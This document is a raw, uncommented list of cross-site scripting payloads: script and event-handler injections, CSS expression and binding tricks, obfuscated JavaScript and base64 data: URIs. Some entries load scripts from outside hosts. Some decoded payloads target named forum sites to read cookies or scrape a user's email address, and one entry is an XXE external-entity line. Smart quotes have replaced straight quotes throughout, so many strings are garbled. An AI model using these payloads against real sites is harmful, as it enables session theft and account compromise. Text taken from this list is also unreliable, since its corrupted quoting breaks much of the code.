Onload!#$%&()*~+-_.,:;?@[/|]^`=alert(“1”)> <SCRIPT/SRC=”http://3w.org/1/1.js"> </ SCRIPT> << SCRIPT> alert (“1”) ;/ / << / SCRIPT> <SCRIPT SRC = http://3w.org/1/1.js? <B> <SCRIPT SRC=//3w.org/1/1.js> <IMG SRC = “javascript: alert (‘1’)” <iframe src=http://3w.org/1.html> <SCRIPT> A = / 1 / alert (a.source) </ SCRIPT> “; alert (‘1’) ;/ / </ TITLE> <SCRIPT> alert (“1”); </ SCRIPT> <INPUT SRC=”javascript:alert(‘1’);”> <BODY BACKGROUND=”javascript:alert(‘1’)”><BODY(‘1’)> <IMG DYNSRC=”javascript:alert(‘1’)”> <IMG LOWSRC=”javascript:alert(‘1’)”> <BGSOUND SRC=”javascript:alert(‘1’);”> <LINK REL=”stylesheet” HREF=”javascript:alert(‘1’);”> <LINK REL=”stylesheet” HREF=”http://3w.org/1.css"> <STYLE> Li {list-style-image: url (“javascript: alert (‘1’)”);} </ STYLE> <UL> <LI> 1 <IMG SRC=’vbscript:msgbox(“1”)’> </ STYLE> <UL> <LI> 1 %3Cscript%3Ealert(%221%22)%3C/script%3E &lt;script&gt;alert(“1”)&lt;/script&gt; &lt;script&gt;alert(“1”)&lt;/script&gt; &lt;script&gt;alert(%341%34)&lt;/script&gt; &lt;script&gt;alert(‘1’)&lt;/script&gt; callback=javascript://anything%0D%0A%0D%0Awindow.alert(1)// javascript:alert(document.cookie);// ‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”; alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))// ?</SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <SCRIPT SRC=http://ha.ckers.org/1.js></SCRIPT> <IMG SRC=”javascript:alert(‘1’);”> <a onmouseover=”alert(document.cookie)”>xxs link</a> <a onmouseover=alert(document.cookie)>xxs link</a>
constructor.constructor(“aler”+”t(3)”)();
[][?=’constructor’][?](‘ert(‘.padStart(6,’al’).padEnd(8,’1)’))()
;[].constructor.prototype.join=function(){return’pwnd’};eval(‘alert(1)’)
[][?=/constructor/.source][?](/alert(1)/.source)()
[][?=/constructor/.source][?](/alert(1)/.source)()for(n in{constructor:0})[][?=n][?](/alert(1)/.source)())
<% contenteditable onresize=alert(1)>
continueURI=/login2.jsp?friend=<img src=xonerror=alert(1)>;
<ControllerColor>C0C0C0</ControllerColor>
# credit to rsnake
 ?cript:alert(‘1’)”&gt;</B></I></XML> <SPAN DATASRC=”#1” DATAFLD=”B” 
<cta id=ANSES actionType=download data=javascript://adobe.com%0aalert(document.domain)><![CDATA[ CLICK HERE ]]></cta>
{{c=toString.constructor;p=c.prototype;p.toString=p.call;[“a”,”alert(1)”].sort(c)}}
ctx.call(“fun”)
ctx.eval(‘1+1’)
ctx.eval(“var fun = () => ({ foo: 1 });”)
ctx = py_mini_racer.MiniRacer()
c.width=500;x.font=’9em”’for(i=3;i?—?;x.fillText(T[0]+T[1]+T[2],40,200))t%6<i+2?T[i]=[…’’][(i*t+9*t|0)%5]:S
c.width=640;
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
d=0||’une’+’scape’||0;a=0||’ev’+’al’||0;b=0||’locatio’;b+=0||’n’||0;c=b[a];d=c(d);c(d(c(b)))
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
d=\”alert(‘1’);\\”)\”;
.data
data&colon;%2f%2f;ba se64;;//,P HNjcmlw dD5hbG VydC gxKTwvc2NyaXB0Pg= =
DATAFORMATAS=”HTML”></SPAN>
<*datahtmlelements* data=about:blank background=about:blank action=about:blank type=image/gif src=about:blank href=about:blank *dataevents*=”customLog(‘*datahtmlelements* *dataevents*’)”></*datahtmlelements*>
<*datahtmlelements* *dataevents*=”javascript:parent.customLog(‘*datahtmlelements* *dataevents*’)”></*datahtmlelements*>
<*datahtmlelements* *datahtmlattributes*=”javascript:parent.customLog(‘*datahtmlelements* *datahtmlattributes*’)”></*datahtmlelements*>
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
data:),<script>alert(1)</script>
data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))>
data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#?someRandomParam1=blah&someRandomParam2=blah
data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg==
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4=
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg==
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==
data:text/html;charset=utf-8,<h1>abc
data:text/html,<iframe src=javascript:alert(1)>
data:text/html,<img src=1 onerror=alert(1)>
#data:text/html,<img src=1 onerror=alert(document.domain)
data:text/html,/*<img src=x ‘-alert(1)-’ onerror=alert(1)>*/alert(1)
data:text/html,/*<img src=x ‘-confirm(1)-’ onerror=confirm(1)>*/confirm(1)
data:text/html,<script>alert(0)</script>
data:text/html,< sc r i p t >alert(1)</sc r ip t>
data:text/html,<script>alert(1)</script>//
data:text/html,<script>alert(1)</script>
data:text/html,<script>confirm(0);confirm(1);location.reload();</script>
data:text/html,<svg onload=alert(1)>
data:text/html,<svg onload=alert(/@irsdl/)></svg>
data://text/javascript,alert(‘1’)
Data URl
d.body.appendChild(z)
d.body.appendChild(z)},0)>
d=document;
_.defer(alert, 9)
.__defineGetter__.constructor(‘[].constructor.
defineSetter(‘x’,confirm); x=1;
_.delay(alert, 0, 9)
delete~[a=confirm]/delete a(1)
delete [a=confirm],delete a(1)
delete confirm(1)
delete [][‘__proto__’][‘toString’];[][‘__proto__’][Symbol.toStringTag]=’=alert(1)’;eval([1,2,3]+’’);
delFeedback(‘&apos;)alert(1)’
<details onfocus = “alert(1)”>
<details ontoggle=alert(1)>
<details ontoggle=”aler\u0074(1)”>
“><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
<details open ontoggle=”alert(1)”>
<details open ontoggle=alert(1)>
<details/open/ontoggle=”alert`1`”>
><detials ontoggle=confirm(0)>
??><detials ontoggle=confirm(0)>
<dialog open=”” onclose=”alert(1)”><form
<dialog open=”” onclose=”alert(1)”><form method=”dialog”><button>Close me!</button></form></dialog>
display:block;color:transparent;
<div>
<div%20id=a%20style=float:left%20onfocus=alert(1)>#a
<div%20id=”a”%20style=-ms-block-progression:bt%20onfocus=alert(1)>#a
<div%20id=a%20style=-ms-layout-flow:vertical-ideographic%20onfocus=alert(1)>#a
<div%20style=-webkit-user-modify:read-write%20onfocus=alert(1)%20id=x>#x
<%div%20style=1:expression(prompt(1))>
<DIV><A></A>
<div> <a href=/**/alert(15)>1</a><base href=”javascript:\ </div><div id=”x”></div>
<div> <a href=/**/alert(1)>1</a><base href=”javascript:\ </div><div id=”x”></div>
<div>`-alert(1)</script><script>`</div>
<div>`-alert(4)</script><script>`</div>
<div><base href=//cors.l0.cm/</div><script src=/test.js></script>
<div><base href=//evil/</div>
<div><base href=//evil/ </div>
<div><base href=”javascript:/”><a href=/**/alert(1)>1</a></div>
<div><base href=”javascript:\”><a href=/**/alert(1)>1</a></div>
<div><base/href=javascript:/><a href=/*’”+-/%~.,()^&$#@!*/alert(1)>1</a></div>
<div class=”qm_left” style=”position:relative;z-index:2;background:url(//1.tw/2180) no-repeat 0 0;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=’//1.tw/2180',sizingMethod=’scale’);width:40px;height:40px;”>
<div contenteditable onresize=”alert(1)”></div>
<div contextmenu=x>right-click<menu id=x onshow=confirm(1)>
<div contextmenu=”1”>Right-Click Here<menu id=”1” onshow=”alert(1)”>
<div contextmenu=”1”>Right-Click Here<menu id=”1” onshow=”[DATA]”>
div data-bind=”foo: “ /div
div data-bind=”html:’hello bworld /b’” /div
div data-bind=”html:’ script src=”//evil.com” /script’” /div
div data-bind=”value:’hello world’”?/div
div data-dojo-type=”dijit/Declaration”data-dojo-props=”}?—?{“
<div datafld=”b” dataformatas=”html” dataid=1 SRC=”#1”></div>
<div datafld=”b” dataformatas=”html” datasrc=”#X”></div>
div data-role=”button”data-text=”I am a button” /div
div data-role=”button”data-text=” script /script” /div
div data-role=popup id=’?—?script /script’?/div
div data-toggle=tooltip data-html=true title=’script /script’ /div
div data-toggle=tooltip title=’I am atooltip!’some text /div
</div><div id=”x”>AAA</div>
<div draggable=”true” ondragstart=”event.dataTransfer.setData(‘text/plain’, ‘Evil data’)><h3>DRAG ME!!</h3></div>
<div><embed allowscriptaccess=always src=/1.swf><base href=//l0.cm/</div>
<div><embed allowscriptaccess=always src=/1.swf><base href=”//l0.cm/</div><div id=”x”>AAA</div>
<div> <embed allowscriptaccess=always src=/1.swf><base href=”//l0.cm/ </div><div id=”x”></div>
<div id=”alert(/@0x6D6172696F/)” style=”x:expression(eval)(id)”> 
<div id=”confirm(2)” style=”x:expression(eval)(id)”>
<div id=d><div style=”font-family:’sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B’”>X</div></div>
<div id=d><div style=”font-family:’sans\27\3B color\3Ared\3B’”>X</div></div>
<div id=d><div style=”font-family:’sans\27\3B color\3Ared\3B’”>X</div></div> <script>with(document.getElementById(“d”))innerHTML=innerHTML</script>
<div id=”div1"><input value=”``onmouseover=alert(1)”></div> <div id=”div2"></div><script>document.getElementById(“div2”).innerHTML = document.getElementById(“div1”).innerHTML;</script>
<div id=”div1"><input value=”``onmouseover=javascript:alert(1)”></div> <div id=”div2"></div>
<div id=”div1"><input value=”``onmouseover=javascript:alert(1)”></div> <div id=”div2"></div><script>document.getElementById(“div2”).innerHTML = document.getElementById(“div1”).innerHTML;</script>
<div id=d><x xmlns=”><body onload=alert(1)”><script>d.innerHTML=????</script>
<div id=d><x xmlns=”><iframe onload=alert(1)”></div>
<div id=d><x xmlns=’”><iframe onload=alert(2)//’></div>
<div id=d><x xmlns=”><iframe onload=javascript:alert(1)”></div> <script>d.innerHTML=d.innerHTML</script>
<div id=”myxsxxcd” style=”color:red;display:none” title=”if(!window.my1sxx){window.my1sxx=1;alert(document.cookie);}”>
<div id = “x”></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
<div id=”1” onwebkittransitionend=”alert(1)” style=”-webkit-transition: width .1s;”></div>
<DIV id=1 STYLE=”background-image: url(javascript:alert(‘1’))”>
<DIV id=1 STYLE=”binding: url(javascript:alert(‘1’));”>
<div id=”1” style=”float:left” onfocus=”alert(1)”>
<div id=”1” style=”-ms-block-progression:bt” onfocus=”alert(1)”>
<div id=”1” style=”-ms-layout-flow:vertical-ideographic” onfocus=”alert(1)”>
<DIV id=1 STYLE=”width: expression(alert(‘1’));”>
<div id=”x”>x</div> <xml:namespace prefix=”t”> <import namespace=”t” implementation=”#default#time2"> <t:set attributeName=”innerHTML” targetElement=”x” to=”&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;”>
<div id=”x”>x</div> <xml:namespace prefix=”t”> <import namespace=”t” implementation=”#default#time2"> <t:set attributeName=”innerHTML” targetElement=”x” to=”&lt;img src=x:x onerror =javascript:alert(1)&gt;”>
<div id=”x”>XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
<div>jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>
‘“>><div><meter onmouseover=”alert(1)”</div>”
<div&nbsp &nbsp style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#1)>
div ng-app ng-cspng-focus=”x=$event.view.window;x.”
<div onactivate=”alert(1)” id=”1” style=”overflow:scroll”></div>
<div onactivate=alert(‘1’) id=1 style=overflow:scroll>
<div onbeforescriptexecute=”alert(1)”></div>
<div onclick=”alert(‘1’)”>
<div onfocus=”alert(1)” contenteditable tabindex=”0" id=”1”></div>
<div onfocus=”alert(1)” id=”1” style=”display:table”>
<div onfocus=alert(‘xx’) id=1 style=display:table>
<div onmouseenter=”alert(‘1’)”>
<div onmousemove=”alert(200)” src=”xxxx”>
<div/onmouseover=’alert(1)’>renwa
<div/onmouseover=’alert(1)’> style=”x:”> 
<div/onmouseover=’alert(1)’> style=”x:”>
<div/onmouseover=’alert(1)’>X
<div onmouseover=’alert&lpar;1&rpar;’>DIV</div>
<div onmouseover=”alert(‘1’);”>,
<div/onmouseover=’confirm(1)’> style=”x:”>
<div onmouseover=’confirm&lpar;1&rpar;’>DIV</div>
<div onmouseover=”document.vulnerable=true;”>
<div onmouseover=prompt(“1”)>renwa
div ref=mes.bind=”$this.me.ownerdefaultView.” /div
<div><script>alert(1)
 ?</div><script src=/test.js></script>
<div>”src=data:,alert%281%29></script><script x=”</div>
<div>”src=data:,alert%2824%29></script><script x=”</div>
<div style=”&#119;&#105;&#100;&#116;&#104;&#58;&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;&#40;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;&#41;”>1</div>
<div style=”&#119;&#105;&#100;&#116;&#104;&#58;&#92;&#48;&#48;&#54;&#53;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;&#40;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#49;&#47;&#41;&#41;”>1</div>
<div style=”\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \&#xA0or:blue;”>XXX</div><div style=”[a]color[b]:[c]red”>XXX</div>
<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>
<div style=”animation-name:x” onanimationstart=”alert(1)”></div>
<DIV STYLE=”background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.
<;DIV STYLE=”;background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>;
<DIV STYLE=”background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE=”background-image: 075 072 06C 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029">
<;DIV STYLE=”;background-image: url(&;#1;javascript:alert(‘;1’;))”;>;
<DIV ?STYLE=”background-image: ?url(&#1;javascript:alert(‘XS ?S’))”>
<DIV STYLE=”background-image: url(&#1;javascript:alert(‘1’))”>
<DIV STYLE=”background-image: url(&#1;javascript:confirm(5))”>
<div STYLE=”background-image: url(&#1;javascript:document.vulnerable=true;)”>
<div style=”background-image:url(javascript:alert(‘1’))”>
<DIV+STYLE=”background-image: url(javascript:alert(1))”>
<div style=”background-image:url(javascript:alert(document.cookie))”>
<DIV STYLE=”background-image: url(javascript:alert(‘X1SS’))”>
<;DIV STYLE=”;background-image: url(javascript:alert(‘;1’;))”;>;
<DIV STYLE=”background-image: url( javascript:alert(‘1’))”>
<DIV STYLE=”background-image: url(javascript:alert(‘1’));”>
<DIV STYLE=”background-image: url(javascript:alert(‘1’))”>
<DIV STYLE=”background-image: url(javascript:alert(1))”>
<DIV STYLE=”background-image: url(javascript:confirm(5))”>
<div style=”background-image: url(javascript:document.vulnerable=true;);”>
<div STYLE=”background-image: url(javascript:document.vulnerable=true;)”>
<DIV STYLE=”background-image: url(javascript:javascript:alert(1))”>
<div style=”background-image:url(<script>alert(document.cookie)</script>)”>
<div style=”background:url(/f#&#127;oo/;color:red/*/foo.jpg);”>X
<div style=”background:url(/f#[a]oo/;color:red/*/foo.jpg);”>X</div>
<div style=”background:url(/f#oo/;color:red/*/foo.jpg);”>X
<div style=”background:url(/foo/;color:red/*/foo.jpg);”>X
<div style=”background:url(http://foo.f/f oo/;color:red/*/foo.jpg);”>X</div>
<div style=behavior:url(“ onclick=alert(1)//”>1’OR
<div style=”behaviour:url(‘http://www.how-to-hack.org/exploit.html');">
<DIV STYLE=”behaviour: url(‘http://www.how-to-hack.org/exploit.html');">
<DIV STYLE=”behaviour: url(‘http://1.ha.ckers.org/exploit.htc');">
<div style=”behaviour: url([link to code]);”>
<div style=”binding: url(http://www.securitycompass.com/1.js);"> [Mozilla]
<div style=”binding: url([link to code]);”>
<div style=”color: ‘<’; color: expression(alert(‘1’))”>
<div style=”color: expression(alert(‘1’))”>
<div style=”color:rgb(&#039;&#039;x:expression(alert(1))”></div>
<div style=”color:rgb(‘’&#0;x:expression(alert(1))”></div>
<Div style = “color: rgb (‘’ & # 0; x: expression (alert (1))”> </ div>
<div style=”color:rgb(‘’&#0;x:expression(alert(URL=1))”></div> 
<div style=”color:rgb(‘’&#0;x:expression(confirm(URL=1))”></div>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Mouse Over</div>
<div style=”display:none”></div><div style=”display:none” t=”1" e=”style\/&lt;&#39;&quot;&gt;&lt;/div&gt;&quot;/ \&quot;&quot;/&lt;img src=# onerror=eval(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,47,47,120,115,115,46,116,119,47,51,48,53,56,62,60,47,115,99,114,105,112,116,62,32));/\&gt>
<div style=”display:none” style=”behavior:url(‘?1’)”
<div style=”display:none” style=”behavior:url(‘?1’)” onreadystatechange=”alert(1)”>1</div>
<div style=”font-family:’foo&#10;;color:red;’;”>LOL
<div style=”font-family:’foo&#10;;color:red;’;”>XXX
<div style=”font-family:’foo[a];color:red;’;”>XXX</div>
<div style=”font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div style=”font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>
<div style=”font-family:’foo ;color:red;’;”>XXX
<div style=”font-family:foo}color=red;”>XXX
<div style=”font-family:foo}color=red;”>XXX</div>
<div style = “list-style-image:url(javascript:alert(1))”>
<div style=”list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div>
<div style=”list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#1)>
<div style=”-moz-binding:url(http://1or.io/0.xml#1);x:expression((window.r!=1)?eval('x=String.fromCharCode;scr=document.createElement(x(115,99,114,105,112,116));scr.setAttribute(x(115,114,99),x(104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,48,46,106,115));document.getElementById(x(105,110,106,101,99,116)).appendChild(scr);window.r=1;'):1);"id="inject">
<div style=”-ms-scrolllimit:1px;overflow:scroll;width:1px”
<div style=”-ms-scroll-limit:1px;overflow:scroll;width:1px” onscroll=”alert(1)”>
<div style=”-ms-scroll- limit:1px;overflow:scroll;width:1px” onscroll=alert(‘1’)>
<div style=”-ms-scroll-limit:1px;overflow:scroll;width:1px” onscroll=alert(‘1’)>
<DIV STYLE_NeatHtmlReplace=”background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE_NeatHtmlReplace=”background-image: url(&#1;javascript:alert(‘1’))”>
<DIV STYLE_NeatHtmlReplace=”background-image: url(javascript:alert(‘1’))”>
<DIV STYLE_NeatHtmlReplace=”width: expression(alert(‘1’));”>
<div style=overflow:-webkit-marquee onscroll=alert(1)>
<div style=”overflow:-webkit-marquee” onscroll=”alert(1)”></div>
<div style=”position:absolute;top:0;left:0;width:100%;height:100%” onclick=”alert(52)”>
<div style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”alert(1)”>x</button>?
<div style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”alert(1)”>x</button> 
<div style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”alert(1)”>x</button>
<div style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”alert(1)”>x</button><div style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”confirm(1)”>x</button>
<div style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”confirm(1)”>x</button>?f
<div style=”visibility:hidden” style=”behavior:url(‘?2’)”
<div style=”visibility:hidden” style=”behavior:url(‘?2’)” onreadystatechange=”alert(2)”>2</div>
<div style=”-webkit-user-modify:read-write” onfocus=”alert(1)” id=”1”>
<div style=”-webkit-user-modify:read-write-plaintext-only” onfocus=”alert(1)” id=”1”>
<div style=”width:\0065xpressio\6e(alert(/1/))”>1</div>
<div style=”width:\0065xpression(alert(/1/))”>1</div>
<div style=width:1px;filter:glow onfilterchange=alert(1)>x
<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>
<div style=”width:exp/**
<div style=”width:expression(alert(‘1’));”>
<div style=”width:exp/****/ression(alert(/1/))”>1</div>
<div style=”width:expression(alert(/1/))”>1</div>
<div style=”width:expression(alert(‘1’))”>1</div>
<DIV STYLE=”width:expression(alert(‘anyunix’));”>
<div style=”width:expression(alert(‘x1ss’));”>
<DIV STYLE=”width: expression(alert(‘X2SS’));”>
<;DIV STYLE=”;width: expression(alert(‘;1’;));”;>;
<DIV STYLE=”width: ?expression(alert(‘1’));”>
<DIV STYLE=”width: expression(alert(‘1’));”>
<DIV STYLE=”width: expression(alert(1));”>
<div style=”width:expression(confirm(1))”>X</div> 
<div/style=”width:expression(confirm(1))”>X</div>
<div/style=”width:expression(confirm(1))”>X</div> {IE7}
<DIV STYLE=”width: expression(confirm(5));”>
<div style=”width: expression(document.vulnerable=true;);”>
<div STYLE=”width: expression(document.vulnerable=true);”>
<DIV STYLE=”width:expression(javascript:alert(1));”>
<DIV STYLE=”width: expression_r(alert(‘1’));”>
<div style=”x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))”>Joker</div>
<div style=”x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
<div style=”x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))”>Joker</div>
<div style=’x:anytext/**/xxxx/**/n(alert(1)) (“\”))))))expressio\”)’>aa</div>
<div style=’x:anytext/**/xxxx/**/n(confirm(1)) (“\”))))))expressio\”)’>aa</div> //
<div style=”x:expression(alert(1))”>Joker</div>
<div style=”x:expression((window.r==1)?’’:eval(‘r=1; 
<div style=”x:expression((window.r==1)?’’:eval(‘r=1;
<div style=”xg-p:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)” onclick=”alert(1)”>x</button>
<div/style==”x onclick=alert(1)//”>1’OR
<div style=1:expres&#92sion(if(!window.x){alert(‘1’);window.x=1;})></div>
<div style=x:x(“ onclick=alert(1)//”>1’OR
<div style=”z:exp/*anything*/res/*here*/sion(alert(1))” />
/div /template
<div title=”%&gt;&lt;/script&gt;&quot;&lt;img src=1 onerror=confirm(1)&gt;”></div>
div type=underscore/template % % /div
<div=’x=&quot;&#39&gt;&lt;iframe/onload=alert(1)&gt;’>
dnd ?<script>alert(9)</script><!?—?%20
doc.documentElement.innerHTML+=’’;
doc=document.implementation.createHTMLDocument(‘&amp;lt;/title&amp;gt;&amp;lt;img src=1 onerror=alert(1)&amp;gt;’);
doc = new ActiveXObject(“htmlFile”);
<!doctype”:
<!DOCTYPE x[<!ENTITY x SYSTEM “http://html5sec.org/test.xxe">]><y>&x;</y>
“;document.body.addEventListener(“DOMActivate”,alert(1))//
“;document.body.addEventListener(“DOMActivate”,confirm(1))//
“;document.body.addEventListener(“DOMActivate”,prompt(1))//
document.body.appendChild(f);
document.body.appendChild(fo);
document.body.appendChild(fr);
document.body.innerHTML=(‘<\000\0i\000mg src=xx:x onerror=alert(1)>’)
document.body.innerHTML=(‘<\000\0i\000mg src=xx:x onerror=confirm(1)>’) 
document.body.innerHTML=’”onerror=”alert(1)”>’.anchor(‘“><img src=’);
document.body.setAttribute(‘onclick’,’go();’);
“+document.cookie+”
document.cookie=’1=1;domain=.cx.’
‘() {‘document.createElement(‘img’).src=’javascript:while(1){}’
[document.domain].find(alert)>
document.domain=’qq.com’
document.getElementById(‘form_1’).submit();
document.getElementById(“iframe1”).contentDocument.getElementsByName(“owner”)[0].getElementsByTagName(“a”)[0].href;
document.getElementById(“iframe2”).contentDocument.forms[1].token.value;
document.getElementById(“iframe”).contentDocument.getElementById(“projects-dropdown”);
document.getElementById(“test”).innerHTML =” \u003cimg src=1 onerror=alert(/1/)\u003e”;
document.getElementById(‘text’).innerHTML = ‘Click Here Again!’;
document.getElementById(‘text’).setAttribute(‘style’,’color:red;’);
document.getElementById(‘1_content’).value = content;
document.getElementsByName(“login”).item(0).src = http://1.cx/
document.getElementsByTagName(‘body’)[0].appendChild(form);
